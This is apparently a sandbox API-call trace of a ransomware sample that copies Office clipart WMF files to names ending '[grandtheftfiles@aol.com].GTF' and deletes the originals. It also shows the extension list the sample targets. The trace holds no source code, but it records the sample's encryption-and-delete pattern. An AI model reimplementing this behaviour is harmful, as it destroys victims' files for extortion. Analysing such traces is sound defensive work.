	[0082.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.397] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.397] lstrlenW (lpString="BD06102_.WMF") returned 12
	[0082.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.591] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=16112) returned 1
	[0082.591] CloseHandle (hObject=0x390) returned 1
	[0082.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220
	[0082.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.591] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.592] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0082.592] GetLastError () returned 0x0
	[0082.592] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x3ef0, lpOverlapped=0x0) returned 1
	[0082.594] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x3f00, lpOverlapped=0x0) returned 1
	[0082.595] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.595] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.595] SetEndOfFile (hFile=0x37c) returned 1
	[0082.595] CloseHandle (hObject=0x37c) returned 1
	[0082.596] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.596] SetEndOfFile (hFile=0x390) returned 1
	[0082.597] CloseHandle (hObject=0x390) returned 1
	[0082.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1
	[0082.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0082.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0082.598] lstrlenW (lpString=".doc") returned 4
	[0082.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.598] lstrlenW (lpString=".docx") returned 5
	[0082.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.598] lstrlenW (lpString=".pdf") returned 4
	[0082.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.598] lstrlenW (lpString=".xls") returned 4
	[0082.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.598] lstrlenW (lpString=".xlsx") returned 5
	[0082.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.598] lstrlenW (lpString=".ppt") returned 4
	[0082.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0082.598] lstrlenW (lpString=".zip") returned 4
	[0082.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.598] lstrlenW (lpString=".rar") returned 4
	[0082.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.598] lstrlenW (lpString=".bz2") returned 4
	[0082.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.598] lstrlenW (lpString=".7z") returned 3
	[0082.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0082.598] lstrlenW (lpString=".dbf") returned 4
	[0082.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0082.599] lstrlenW (lpString=".1cd") returned 4
	[0082.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0082.599] lstrlenW (lpString=".jpg") returned 4
	[0082.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0082.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0082.599] lstrlenW (lpString=".doc") returned 4
	[0082.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.599] lstrlenW (lpString=".docx") returned 5
	[0082.599] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.599] lstrlenW (lpString=".pdf") returned 4
	[0082.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.599] lstrlenW (lpString=".xls") returned 4
	[0082.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.599] lstrlenW (lpString=".xlsx") returned 5
	[0082.599] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.599] lstrlenW (lpString=".ppt") returned 4
	[0082.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0082.599] lstrlenW (lpString=".zip") returned 4
	[0082.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.599] lstrlenW (lpString=".rar") returned 4
	[0082.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.599] lstrlenW (lpString=".bz2") returned 4
	[0082.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.599] lstrlenW (lpString=".7z") returned 3
	[0082.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0082.599] lstrlenW (lpString=".dbf") returned 4
	[0082.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0082.599] lstrlenW (lpString=".1cd") returned 4
	[0082.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68
	[0082.600] lstrlenW (lpString=".jpg") returned 4
	[0082.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.600] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.600] lstrlenW (lpString="BD07761_.WMF") returned 12
	[0082.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.600] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=26748) returned 1
	[0082.600] CloseHandle (hObject=0x390) returned 1
	[0082.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220
	[0082.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.601] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.601] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0082.601] GetLastError () returned 0x0
	[0082.601] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x687c, lpOverlapped=0x0) returned 1
	[0082.603] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x6880, lpOverlapped=0x0) returned 1
	[0082.604] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.604] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.604] SetEndOfFile (hFile=0x37c) returned 1
	[0082.605] CloseHandle (hObject=0x37c) returned 1
	[0082.606] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.606] SetEndOfFile (hFile=0x390) returned 1
	[0082.607] CloseHandle (hObject=0x390) returned 1
	[0082.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1
	[0082.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0082.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0082.608] lstrlenW (lpString=".doc") returned 4
	[0082.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.608] lstrlenW (lpString=".docx") returned 5
	[0082.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.608] lstrlenW (lpString=".pdf") returned 4
	[0082.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.608] lstrlenW (lpString=".xls") returned 4
	[0082.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.608] lstrlenW (lpString=".xlsx") returned 5
	[0082.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.608] lstrlenW (lpString=".ppt") returned 4
	[0082.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0082.608] lstrlenW (lpString=".zip") returned 4
	[0082.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.608] lstrlenW (lpString=".rar") returned 4
	[0082.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.608] lstrlenW (lpString=".bz2") returned 4
	[0082.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.608] lstrlenW (lpString=".7z") returned 3
	[0082.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0082.608] lstrlenW (lpString=".dbf") returned 4
	[0082.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0082.608] lstrlenW (lpString=".1cd") returned 4
	[0082.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0082.608] lstrlenW (lpString=".jpg") returned 4
	[0082.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0082.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0082.609] lstrlenW (lpString=".doc") returned 4
	[0082.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.609] lstrlenW (lpString=".docx") returned 5
	[0082.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.609] lstrlenW (lpString=".pdf") returned 4
	[0082.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.609] lstrlenW (lpString=".xls") returned 4
	[0082.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.609] lstrlenW (lpString=".xlsx") returned 5
	[0082.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.609] lstrlenW (lpString=".ppt") returned 4
	[0082.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0082.609] lstrlenW (lpString=".zip") returned 4
	[0082.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.609] lstrlenW (lpString=".rar") returned 4
	[0082.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.609] lstrlenW (lpString=".bz2") returned 4
	[0082.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.609] lstrlenW (lpString=".7z") returned 3
	[0082.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0082.609] lstrlenW (lpString=".dbf") returned 4
	[0082.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0082.609] lstrlenW (lpString=".1cd") returned 4
	[0082.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0082.609] lstrlenW (lpString=".jpg") returned 4
	[0082.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.609] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.609] lstrlenW (lpString="BD07804_.WMF") returned 12
	[0082.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.610] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=4924) returned 1
	[0082.610] CloseHandle (hObject=0x390) returned 1
	[0082.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220
	[0082.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.610] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.610] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0082.610] GetLastError () returned 0x0
	[0082.610] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x133c, lpOverlapped=0x0) returned 1
	[0082.612] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1340, lpOverlapped=0x0) returned 1
	[0082.613] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.613] WriteFile (in: hFile=0x37c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.613] SetEndOfFile (hFile=0x37c) returned 1
	[0082.613] CloseHandle (hObject=0x37c) returned 1
	[0082.615] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.615] SetEndOfFile (hFile=0x390) returned 1
	[0082.616] CloseHandle (hObject=0x390) returned 1
	[0082.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1
	[0082.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0082.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0082.617] lstrlenW (lpString=".doc") returned 4
	[0082.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.617] lstrlenW (lpString=".docx") returned 5
	[0082.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.617] lstrlenW (lpString=".pdf") returned 4
	[0082.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.617] lstrlenW (lpString=".xls") returned 4
	[0082.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.617] lstrlenW (lpString=".xlsx") returned 5
	[0082.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.617] lstrlenW (lpString=".ppt") returned 4
	[0082.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0082.617] lstrlenW (lpString=".zip") returned 4
	[0082.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.617] lstrlenW (lpString=".rar") returned 4
	[0082.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.617] lstrlenW (lpString=".bz2") returned 4
	[0082.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.617] lstrlenW (lpString=".7z") returned 3
	[0082.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0082.617] lstrlenW (lpString=".dbf") returned 4
	[0082.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0082.617] lstrlenW (lpString=".1cd") returned 4
	[0082.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0082.617] lstrlenW (lpString=".jpg") returned 4
	[0082.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0082.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0082.618] lstrlenW (lpString=".doc") returned 4
	[0082.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.618] lstrlenW (lpString=".docx") returned 5
	[0082.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.618] lstrlenW (lpString=".pdf") returned 4
	[0082.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.618] lstrlenW (lpString=".xls") returned 4
	[0082.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.618] lstrlenW (lpString=".xlsx") returned 5
	[0082.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.618] lstrlenW (lpString=".ppt") returned 4
	[0082.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0082.618] lstrlenW (lpString=".zip") returned 4
	[0082.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.618] lstrlenW (lpString=".rar") returned 4
	[0082.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.618] lstrlenW (lpString=".bz2") returned 4
	[0082.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.618] lstrlenW (lpString=".7z") returned 3
	[0082.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0082.618] lstrlenW (lpString=".dbf") returned 4
	[0082.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0082.618] lstrlenW (lpString=".1cd") returned 4
	[0082.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
